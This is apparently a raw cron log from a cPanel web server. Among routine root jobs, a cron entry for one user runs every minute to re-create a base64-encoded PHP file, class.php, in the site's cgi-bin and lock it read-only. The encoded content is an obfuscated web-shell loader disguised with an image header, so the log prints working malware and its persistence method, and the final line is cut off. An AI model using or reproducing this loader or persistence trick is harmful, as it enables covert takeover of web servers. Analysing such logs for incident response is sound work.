Apr  9 19:01:01 server CROND[10067]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:01:01 server run-parts(/etc/cron.hourly)[10066]: starting 0anacron
Apr  9 19:01:01 server run-parts(/etc/cron.hourly)[10079]: finished 0anacron
Apr  9 19:02:01 server CROND[10130]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:03:01 server CROND[10290]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:04:01 server CROND[10361]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:05:01 server CROND[10468]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 19:05:01 server CROND[10469]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 19:05:01 server CROND[10470]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:05:01 server CROND[10472]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 19:06:01 server CROND[10694]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:07:01 server CROND[10753]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:08:01 server CROND[10800]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:09:01 server CROND[10850]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  9 19:09:01 server CROND[10851]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:10:01 server CROND[10915]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 19:10:01 server CROND[10916]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 19:10:01 server CROND[10918]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 19:10:01 server CROND[10917]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:11:01 server CROND[11180]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:12:01 server CROND[11244]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 19:12:01 server CROND[11245]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:13:01 server CROND[11357]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:14:01 server CROND[11412]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSV